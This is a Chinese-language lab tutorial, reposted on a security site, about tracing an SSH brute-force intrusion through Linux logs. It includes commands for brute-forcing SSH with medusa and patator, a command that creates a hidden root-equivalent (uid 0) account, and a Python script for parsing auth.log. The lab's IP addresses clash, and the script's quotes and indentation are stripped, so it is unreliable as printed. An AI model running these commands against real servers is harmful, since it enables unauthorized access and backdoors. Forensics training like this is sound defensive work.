安基网 首页 安全 攻防案例 查看内容

SSH入侵事件日志分析和跟踪

2019-2-23 00:45| 投稿: xiaotiger |来自: 互联网


免责声明:本站系公益性非盈利IT技术普及网,本文由投稿者转载自互联网的公开文章,文末均已注明出处,其内容和图片版权归原网站或作者所有,文中所述不代表本站观点,若有无意侵权或转载不当之处请从网站右下角联系我们处理,谢谢合作!

摘要: 在目前绝大多数环境中,经常使用SSH来登录服务器,由于弱口令以及存在漏洞等安全问题,导致部分服务器或者多台服务器被攻击渗透,对于安全维护人员来说,需要对入侵日志进行分析,分析攻击来源IP,分析攻击原因等, ...

在目前绝大多数环境中,经常使用SSH来登录服务器,由于弱口令以及存在漏洞等安全问题,导致部分服务器或者多台服务器被攻击渗透,对于安全维护人员来说,需要对入侵日志进行分析,分析攻击来源IP,分析攻击原因等,本文是针对SSH入侵后,如何对日志文件进行分析和跟踪探讨,读者朋友可以自行搭建实验环境了解SSH账号口令破解等技术实现细节。

一、实验环境

1.环境配置

(1)IP地址。两台Kali Linux服务器,被攻击服务器A:IP地址为192.168.106.135,攻击服务器B:IP地址为192.168. 106.135

(2)服务器A用户:

2.添加用户及设置密码

(1)服务器A添加用户:

useradd simeon -s /bin/bash

useradd hacker -s /bin/bash

useradd antian365 -s /bin/bash

(2)设置密码,使用passwd username设置密码,密码需要连续两次输入同一密码,如图1所示,密码更新成功会提示“password updated successfully”。

passwd simeon antian365

passwd hacker hacker2017

passwd antian365 antian365

图1设置密码

(3)另外一种直接添加用户密码的命令

openssl passwd -stdin
password

获取加密字符串nfnr6Pj4Q.p.2或者ReFvQlyBAM06.通过执行下面命令来添加密码为antian365,具备执行bin/bash命令的shell,如图2所示。

useradd -p "nfnr6Pj4Q.p.2" hack -s /bin/bash
useradd -p " ReFvQlyBAM06." hacknew -s /bin/bash

对于添加root账号,可以使用以下命令:

useradd -p `openssl passwd -1 -salt antian 123456` guest -o -u 0 -g root -G root -s /bin/bash -d /home/test

以上命令将执行密码添加命令,其中salt值为antian,密码为123456,用户名为guest,权限跟root一样,加密方式采用md5.

图2添加用户密码

二、实施SSH暴力破解攻击

1. 使用medusa破解ssh密码

(1)在服务器B(192.168.157.133)上对服务器A(192.168.157.131)进行root密码破解

如图3所示,破解成功后会显示success字样,具体命令如下:

medusa -M ssh -h 192.168.157.131 -u root -P newpass.txt 

图3破解root ssh口令成功

(2)破解B服务器所有用户密码。user.txt指定需要暴力破解的用户名,密码文件指定为newpass.txt,注意user.txt和必须在执行命令当前目录下存在,如果是使用host文件,则-h参数变为-H host.txt,执行效果如图4所示。

	medusa -M ssh -h 192.168.157.131 -U users.txt -P newpass.txt	 

图4 破解多个用户密码

技巧:加-O ssh.log 可以将成功破解的记录记录到ssh.log文件中。

例如记录到日志文件sshlog.log,破解完毕后通过more sshlog.log进行查看,如图5所示。

medusa -M ssh -h 192.168.157.131 -U user.txt -P newpass.txt -O sshlog.log 

(3)破解某个IP地址,并测试空密码以及与用户名一样的密码

	medusa -M ssh -h 192.168.157.131 -U user.txt root -P /root/newpass.txt -e ns 

2.使用patator进行ssh口令暴力破解

(1)执行单一用户密码破解

对主机192.168.157.131,用户simeon,密码文件为/root/newpass.txt进行破解,如图6所示,破解成功后会显示SSH登录标识“SSH-2.0-OpenSSH_7.5p1 Debian-10“,破解不成功会显示” Authentication failed. “提示信息,其破解时间为2秒,速度很快!

	patator ssh_login host=192.168.157.131 user=root password=FILE0 0=/root/newpass.txt 

图6破解单一用户密码

注意:

l patator默认在kali中安装,如果是在其他平台下请下载并安装patator

git clone 
cd patator
python setup.py install

l 如果不是在安装文件夹下,则执行patator后加参数即可,否则会报错。

patator ssh_login host=192.168.157.131 user=root password=FILE0 0=/root/newpass.txt

(2)破解多个用户。用户文件为/root/user.txt,密码文件为/root/newpass.txt,破解效果如图7所示。

./patator.py ssh_login host=192.168.157.131 user=FILE1 1=/root/user.txt password=FILE0 0=/root/newpass.txt或者命令
patator ssh_login host=192.168.157.131 user=FILE1 1=/root/user.txt password=FILE0 0=/root/newpass.txt

使用以下命令仅仅显示破解成功的账号和密码:

patator ssh_login host=192.168.157.131 user=FILE1 1=/root/user.txt password=FILE0 0=/root/newpass.txt -x ignore:mesg=Authentication failed. 

图7使用patator破解多用户的密码

注意:patator中显示的密码验证结果是,用户名在后,密码在前!

三、登录ssh服务器进行账号验证

1.查看日志

查看medusa生成的日志文件sshlog.log,结果如下所示:

# medusa -M ssh -h 192.168.157.131 -U user.txt -P newpass.txt -O sshlog.log

ACCOUNT FOUND: [ssh] Host: 192.168.157.131 User: root Password: root [SUCCESS]

ACCOUNT FOUND: [ssh] Host: 192.168.157.131 User: hacknew Password: antian365 [SUCCESS]

ACCOUNT FOUND: [ssh] Host: 192.168.157.131 User: hack Password: antian365 [SUCCESS]

ACCOUNT FOUND: [ssh] Host: 192.168.157.131 User: antian365 Password: antian365 [SUCCESS]

ACCOUNT FOUND: [ssh] Host: 192.168.157.131 User: guest Password: 123456 [SUCCESS]

ACCOUNT FOUND: [ssh] Host: 192.168.157.131 User: simeon Password: antian365 [SUCCESS]

ACCOUNT FOUND: [ssh] Host: 192.168.157.131 User: hacker Password: hacker2017 [SUCCESS]

2. 使用ssh username@hostname登录服务器。

例如使用root账号登录192.168.157.131服务器,ssh 服务器。如图8所示,测试账号是否破解成功。

图8登录ssh服务器

四、日志文件介绍

1.日志简介

日志对于安全来说,非常重要,它记录了系统每天发生的各种各样的事情,可以通过日志文件来检查错误发生的原因,或者受到攻击时攻击者留下的痕迹。日志的主要功能是审计和监测。在Linux系统中,有三个主要的日志子系统:

(1)连接时间日志

由多个程序执行,把记录写入到/var/log/wtmp和/var/run/utmp,login等程序更新wtmp和utmp文件,使系统管理员能够跟踪谁在何时登录到系统。

(2)进程统计

由系统内核执行。当一个进程终止时,为每个进程往进程统计文件(pacct或acct)中写一个记录。进程统计的目的是为系统中的基本服务提供命令使用统计。

(3)错误日志

由syslogd执行。各种系统守护进程、用户程序和内核通过syslog向文件/var/log/messages报告值得注意的事件。另外有许多UNIX程序创建日志。像HTTP和FTP这样提供网络服务的服务器也保持详细的日志。

2.常用的日志文件

(1)access-log 记录HTTP/web的传输

(2)acct/pacct 记录用户命令

(3)aculog 记录MODEM的活动

(4)btmp 记录失败的记录

(5)lastlog 记录最近几次成功登录的事件和最后一次不成功的登录

(5)messages 从syslog中记录信息(有的链接到syslog文件)

(6)sudolog 记录使用sudo发出的命令

(7)sulog 记录使用su命令的使用

(8)syslog 从syslog中记录信息(通常链接到messages文件)

(9)utmp 记录当前登录的每个用户

(10)wtmp 一个用户每次登录进入和退出时间的永久记录

(11)xferlog 记录FTP会话

3. 查看日志的具体命令

wtmp和utmp文件都是二进制文件,他们不能被诸如tail命令剪贴或合并,用户需要使用who、w、users、last等来使用这两个文件包含的信息。

(1)who命令。查询utmp文件并报告当前登录的每个用户。Who的缺省输出包括用户名、终端类型、登录日期及远程主机。如果指明了wtmp文件名,则who命令查询所有以前的记录。命令who /var/log/wtmp把报告自从wtmp文件创建或删改以来的每一次登录。

(2)w命令。查询utmp文件并显示当前系统中每个用户和它所运行的进程信息。

(3)users命令。单独的一行打印出当前登录的用户,每个显示的用户名对应一个登录会话。如果一个用户有不止一个登录会话,那他的用户名把显示相同的次数。

(4)last命令。往回搜索wtmp来显示自从文件第一次创建以来登录过的用户。

五、分析登录日志

1.Linux SSH Log日志文件

不同操作系统其ssh记录日志文件和位置不一样,有secure、auth.log、messages等,详细情况如下

# Redhat or Fedora Core:

/var/log/secure

# Mandrake, FreeBSD or OpenBSD:

/var/log/auth.log

# SuSE:

/var/log/messages

# Mac OS X (v10.4 or greater):

/private/var/log/asl.log

# Mac OS X (v10.3 or earlier):

/private/var/log/system.log

# Debian:

/var/log/auth.log

2.查看ssh登录日志

cat /var/log/auth.log

3. last显示用户最近登录信息

last命令用于显示当前操作系统中用户最近登录信息。单独执行last命令,它会读取/var/log/wtmp的文件,并把该给文件的内容记录的登入系统的用户名单全部显示出来。

(1)last -help显示帮助信息

(2)参数及选项

用法:

last [选项] [...] [...]

选项:

- how many lines to show

-a, --hostlast 把从何处登入系统的主机名称或ip地址,显示在最后一行

-d, --dns 将IP地址转换成主机名称

-f, --file 指定记录文件取代/var/log/wtmp

-F, --fulltimes 打印所有的登入和注销时间和日期

-i, --ip 显示IP地址信息

-n, --limit 设置显示列数

-R, --nohostname 不显示登入系统的主机名称或IP地址

-s, --since

-t, --until

-p, --present

-w, --fullnames 显示所有用户及域名名称

-x, --system 显示系统关机,重新开机,以及执行等级的改变等信息

--time-format 显示指定的时间格式 notime|short|full|iso

-h, --help 显示帮助信息并退出

-V, --version 显示版本信息及退出

(3)查看当前登录的用户

执行last命令后,如图9所示,可以看到hacker,guest、simeon、antian365、hack曾经登录过,hacker仍然在线。

图9查看当前登录用户

4.使用脚本分析

将以下脚本保存为Anyalizesshlog.py,执行Anyalizesshlog.py /var/log/auth.log命令来分析当前的ssh登录日志,执行完毕后会在程序目录生成一个html文件,打开该文件可以看到ssh的登录信息,如图10所示。

图10分析ssh登录日志


#/usr/bin/env python3.4 
#Anyalize the /etc/auth.log files to get 
# 1) how many failed login trials 
# 2) how many succeeded login trials 
# 3) how many IPs where the login trials comes from and what they are 
# 4) how many invalid usernames are tested and what they are 
# 
# usage: 
# anyalyze  
# note: - for standard input stream 
import sys 
import re 
 
 
# # of trials 
DEBUG_FLAG = 0 
INFO_FLAG = 0 
 
def debug(msg): 
 if DEBUG_FLAG: 
 print("[DEBUG] ", msg) 
 
def info(msg): 
 if INFO_FLAG: 
 print("[INFO] ", msg) 
 
def openLog( source ): 
 if( source == "-"): 
 return sys.stdin; 
 else: 
 debug("opening file:" + source) 
 f = open(source,r) 
 return f 
 
# failed login 
ptnFailed = re.compile(rFailed password for (?P\w+) from (?P\d+\.\d+\.\d+\.\d+)) 
# invalid user trail 
ptnInvalid = re.compile(rFailed password for invalid user (?P\w+) from (?P\d+\.\d+\.\d+\.\d+)) 
# login succeeded 
ptnSuccess = re.compile(rAccepted password for (?P\w+) from (?P\d+\.\d+\.\d+\.\d+)) 
# sudo 
ptnSudo = re.compile(rsession opened for user (?P\w+) by (?P\w+)) 
 
# >0: valid user & incorreck password 
# <0: invalid user 
nFailed = {} 
nSuccess = {} 
nSuccess_records = {} 
ipFailed={} 
ipSuccess={} 
 
if(len(sys.argv) < 2): 
 print("Usage:") 
 print("\t"+sys.argv[0]+" ") 
 print("Note:  can be - for standard input stream") 
 exit(0) 
 
log = openLog(sys.argv[1]) 
for line in log: 
 m = ptnFailed.search(line) 
 debug(m) 
 if not m: 
 m = ptnInvalid.search(line) 
 debug(m) 
 if m: 
 user = m.group(ptnInvalid.groupindex[user]) 
 if user not in nFailed: 
 info("[FAILED] Found a new user <" + user + ">"); 
 nFailed[user] = 0 
 nFailed[user] = nFailed[user]+1 
 ip = m.group(ptnInvalid.groupindex[ip]) 
 if ip not in ipFailed: 
 ipFailed[ip] = 0 
 info("[FAILED] Found a new ip <" + ip + ">"); 
 ipFailed[ip] = ipFailed[ip] + 1 
 else: 
 m = ptnSuccess.search(line) 
 if not m: 
 m = ptnSudo.search(line) 
 debug(m) 
 if m: 
 print(line) 
 user = m.group(ptnSuccess.groupindex[user]) 
 if user not in nSuccess: 
 nSuccess[user] = 0 
 info("[SUCCESS] Found a new user <" + user + ">"); 
 nSuccess[user] = nSuccess[user]+1 
 ip = m.group(ptnSuccess.groupindex[ip]) 
 if ip not in ipSuccess: 
 ipSuccess[ip] = 0 
 info("[SUCCESS] Found a new ip <" + ip + ">"); 
 ipSuccess[ip] = ipSuccess[ip] + 1 
 else: 
 debug("*** Unknown:" + line) 
# TODO: close(log) 
 
print("nFailed:" ) 
print(nFailed) 
print("nSuccess:" ) 
print(nSuccess) 
 
# a key-value list 
# it assure that the order is the same to the coming order 
class KeyValue: 
 def __init__(self, key, value): 
 self.key = key 
 self.value = value 
 
 def __repr__(self): 
 return repr((self.key, self.value)) 
 
# return a KeyValue list because of the order of the keys in a dictionary 
# is unexpected, not same to the order as they are put in 
def sortDict(adict): 
 result=[] 
 keys = sorted(adict.keys(),key=adict.__getitem__, reverse = True) 
 
 for k in keys: 
 result.append(KeyValue(k,adict[k])) 
 return result 
 
# convert a KeyValue list to html table 
# @return a html string 
def KeyValueList2Html(kvlist, headerMap): 
 html ="\n" 
 
 hkey = Key 
 hvalue = Value 
 if headerMap: 
 hkey = headerMap[key]; 
 hvalue = headerMap[value]; 
 debug(hkey) 
 debug(hvalue) 
 html+= "++ \n 
 for kv in kvlist: 
 html += ""+"++ \n 
 html += "
"+""+hkey++hvalue+
"+kv.key++str(kv.value)+
\n" return html print("------------ Tested user list *Failed* -------------", sortDict(nFailed)) print("------------ Source IP *Failed* ------------------",sortDict(ipFailed)) print("------------ Login Success -------------", sortDict(nSuccess)) print("------------ Source IP *Success* -----------------", sortDict(ipSuccess)) # writing result to a HTML report print("Wring result to result.html ...") reportFilename = auth.log-analysis.html report = open(reportFilename, w) if report: title = Auth Log Analysis report.write(\n) report.write(+title+\n) report.write() report.write("------------ Tested user list *Failed* -------------\n") report.write(KeyValueList2Html(sortDict(nFailed),{key:username,value:# of trial})) report.write("------------ Source IP *Failed* ------------------") report.write(KeyValueList2Html(sortDict(ipFailed),{key:source IP,value:# of trial})) report.write("------------ Login Success -------------") report.write(KeyValueList2Html(sortDict(nSuccess),{key:username,value:# of trial})) report.write("------------ Source IP *Success* -----------------") report.write(KeyValueList2Html(sortDict(ipSuccess),{key:source IP,value:# of login})) report.write(\n) report.write(\n) report.write(\n) # close(report) print(OK) else: print(Failed to open file:, reportFilename)


小编推荐:欲学习电脑技术、系统维护、网络管理、编程开发和安全攻防等高端IT技术,请 点击这里 注册账号,公开课频道价值万元IT培训教程免费学,让您少走弯路、事半功倍,好工作升职加薪!

本文出自:https://www.toutiao.com/a6660703163563115021/

免责声明:本站系公益性非盈利IT技术普及网,本文由投稿者转载自互联网的公开文章,文末均已注明出处,其内容和图片版权归原网站或作者所有,文中所述不代表本站观点,若有无意侵权或转载不当之处请从网站右下角联系我们处理,谢谢合作!


鲜花

握手

雷人

路过

鸡蛋

相关阅读

最新评论

 最新
返回顶部